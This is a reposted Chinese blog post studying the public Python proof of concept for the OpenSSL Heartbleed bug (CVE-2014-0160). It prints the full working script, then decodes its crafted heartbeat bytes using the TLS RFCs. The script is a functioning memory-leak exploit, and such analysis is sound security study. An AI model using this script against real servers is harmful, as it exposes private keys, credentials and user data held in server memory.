Openssl 漏洞POC学习

来源:互联网 发布:守望先锋笔记本优化 编辑:程序博客网 时间:2024/05/21 17:08
http://blog.csdn.net/youfuchen/article/details/23279547
分类: hack 59人阅读 评论(0) 收藏 举报
hack漏洞

关于漏洞的细节以及相关危害可以参考知乎和乌云上的文章

OpenSSL 的 Heartbleed 漏洞的影响到底有多大?

关于OpenSSL“心脏出血”漏洞的分析

漏洞相关的代码就不分析了,上面的文章已经分析的很清楚了,下面主要分析一下网络上流传甚广的python POC文件。


[python] view plaincopy在CODE上查看代码片派生到我的代码片
  1. #!/usr/bin/python  
  2.   
  3. # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)  
  4. # The author disclaims copyright to this source code.  
  5.   
  6. import sys  
  7. import struct  
  8. import socket  
  9. import time  
  10. import select  
  11. import re  
  12. from optparse import OptionParser  
  13.   
  14. options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')  
  15. options.add_option('-p''--port', type='int', default=443, help='TCP port to test (default: 443)')  
  16.   
  17. def h2bin(x):  
  18.     return x.replace(' ''').replace('\n''').decode('hex')  
  19.   
  20. hello = h2bin(''''' 
  21. 16 03 02 00  dc 01 00 00 d8 03 02 53 
  22. 43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf 
  23. bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00 
  24. 00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88 
  25. 00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c 
  26. c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09 
  27. c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44 
  28. c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c 
  29. c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11 
  30. 00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04 
  31. 03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19 
  32. 00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08 
  33. 00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13 
  34. 00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00 
  35. 00 0f 00 01 01                                   
  36. ''')  
  37.   
  38. hb = h2bin('''''  
  39. 18 03 02 00 03 
  40. 01 40 00 
  41. ''')  
  42.   
  43. def hexdump(s):  
  44.     for b in xrange(0, len(s), 16):  
  45.         lin = [c for c in s[b : b + 16]]  
  46.         hxdat = ' '.join('%02X' % ord(c) for c in lin)  
  47.         pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)  
  48.         print '  %04x: %-48s %s' % (b, hxdat, pdat)  
  49.     print  
  50.   
  51. def recvall(s, length, timeout=5):  
  52.     endtime = time.time() + timeout  
  53.     rdata = ''  
  54.     remain = length  
  55.     while remain > 0:  
  56.         rtime = endtime - time.time()   
  57.         if rtime < 0:  
  58.             return None  
  59.         r, w, e = select.select([s], [], [], 5)  
  60.         if s in r:  
  61.             data = s.recv(remain)  
  62.             # EOF?  
  63.             if not data:  
  64.                 return None  
  65.             rdata += data  
  66.             remain -= len(data)  
  67.     return rdata  
  68.           
  69.   
  70. def recvmsg(s):  
  71.     hdr = recvall(s, 5)  
  72.     if hdr is None:  
  73.         print 'Unexpected EOF receiving record header - server closed connection'  
  74.         return NoneNoneNone  
  75.     typ, ver, ln = struct.unpack('>BHH', hdr)  
  76.     pay = recvall(s, ln, 10)  
  77.     if pay is None:  
  78.         print 'Unexpected EOF receiving record payload - server closed connection'  
  79.         return NoneNoneNone  
  80.     print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))  
  81.     return typ, ver, pay  
  82.   
  83. def hit_hb(s):  
  84.     s.send(hb)  
  85.     while True:  
  86.         typ, ver, pay = recvmsg(s)  
  87.         if typ is None:  
  88.             print 'No heartbeat response received, server likely not vulnerable'  
  89.             return False  
  90.   
  91.         if typ == 24:  
  92.             print 'Received heartbeat response:'  
  93.             hexdump(pay)  
  94.             if len(pay) > 3:  
  95.                 print 'WARNING: server returned more data than it should - server is vulnerable!'  
  96.             else:  
  97.                 print 'Server processed malformed heartbeat, but did not return any extra data.'  
  98.             return True  
  99.   
  100.         if typ == 21:  
  101.             print 'Received alert:'  
  102.             hexdump(pay)  
  103.             print 'Server returned error, likely not vulnerable'  
  104.             return False  
  105.   
  106. def main():  
  107.     opts, args = options.parse_args()  
  108.     if len(args) < 1:  
  109.         options.print_help()  
  110.         return  
  111.   
  112.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  113.     print 'Connecting...'  
  114.     sys.stdout.flush()  
  115.     s.connect((args[0], opts.port))  
  116.     print 'Sending Client Hello...'  
  117.     sys.stdout.flush()  
  118.     s.send(hello)  
  119.     print 'Waiting for Server Hello...'  
  120.     sys.stdout.flush()  
  121.     while True:  
  122.         typ, ver, pay = recvmsg(s)  
  123.         if typ == None:  
  124.             print 'Server closed connection without sending Server Hello.'  
  125.             return  
  126.         # Look for server hello done message.  
  127.         if typ == 22 and ord(pay[0]) == 0x0E:  
  128.             break  
  129.   
  130.     print 'Sending heartbeat request...'  
  131.     sys.stdout.flush()  
  132.     s.send(hb)  
  133.     hit_hb(s)  
  134.   
  135. if __name__ == '__main__':  
  136.     main()  

上面比较重要和难以理解的是hello和hb两个字符串的意思到底是什么。

首先看hb这个字符串的几个字节是什么意思, 通过阅读RFC6520我们可以得到heartbeat的数据结构:

The Heartbeat protocol messages consist of their type and an arbitrary payload and padding.
 

  enum {
      heartbeat_request(1),
      heartbeat_response(2),
      (255)
   } HeartbeatMessageType;

   struct {
      HeartbeatMessageType type;
      uint16 payload_length;
      opaque payload[HeartbeatMessage.payload_length];
      opaque padding[padding_length];
   } HeartbeatMessage;

这个数据结构的总长度不能超过2的14次方。

type:  消息类型,  heartbeat_request 或者 heartbeat_response中的一个,不是0x01就是0x02,1byte。

payload_length: payload的长度, 2个bytes。

payload:内容是任意的东西,接收端收到之后必须忽略掉里面的具体内容,如果接收端响应这个request,那么需要将里面的内容原封不动拷贝回发送端。

padding: 也是一些随即的乱起八糟的内容,必须被接收端忽略掉。

padding_length:  TLSPlaintext.length - payload_length - 3 for TLS 或者 DTLSPlaintext.length - payload_length - 3 for DTLS.  至少是16bytes.


在这个RFC6520中有下面一句话,IANA has assigned the heartbeat content type (24) from the "TLS ContentType Registry" as specified in [RFC5246]

意思就是说IANA这个组织把heartbeat content type的编号定为了24

我们去RFC5246中查找TLSPlaintext结构的定义。

RFC5246附录A中开头的定义如下:

struct {
       uint8 major;
       uint8 minor;
   } ProtocolVersion;

   ProtocolVersion version = { 3, 3 };     /* TLS v1.2*/

   enum {
       change_cipher_spec(20), alert(21), handshake(22),
       application_data(23), (255)
   } ContentType;

   struct {
       ContentType type;
       ProtocolVersion version;
       uint16 length;
       opaque fragment[TLSPlaintext.length];
   } TLSPlaintext;


type:1个byte,这里应该是heartbeat,24, 0x18

version:2个bytes

length:2个bytes

fragment: 具体的extension的message.

上面这一系列数据结构翻译成用c语言的数据结构就是:

struct {

       ContentType type;         //1byte
       ProtocolVersion version; //2bytes
       uint16 length;                    //2bytes

       HeartbeatMessageType type;          //1bytes
       uint16 payload_length;                   //2bytes
       char payload[payload_length];     
       char padding[padding_length];

}HeartBeatPlainText;


这样我们就可以对应的看出来hb到底是什么意思了:

hb = h2bin(''' 
18 03 02 00 03
01 40 00
''')

18表示heartbeat type

03 02表示TLS的版本号,这里表示TLS v1.1

00 03表示heartbeatmessage的长度,也就是TLSplaintext的payload的长度

01表示heartbeat_request

40 00 表示payload length, 2**14

其中payload和padding都没有,这样正好就可以利用漏洞将后面内存中的数据dump出来了。

OK, 现在hb已经清楚了。

hello有225bytes, 具体的每个域的意思可以参考RFC 5246 7.4.1 

https://tools.ietf.org/html/rfc5246#section-7.4.1

最好通过wireshark抓https的包来看client hello的解析。一目了然。


另外:通过在自己机器上测试发现XAMPP for Linux 1.8.3-3用的就是有漏洞的版本的openssl, 可以用这个脚本来进行测试,抓包。

0 0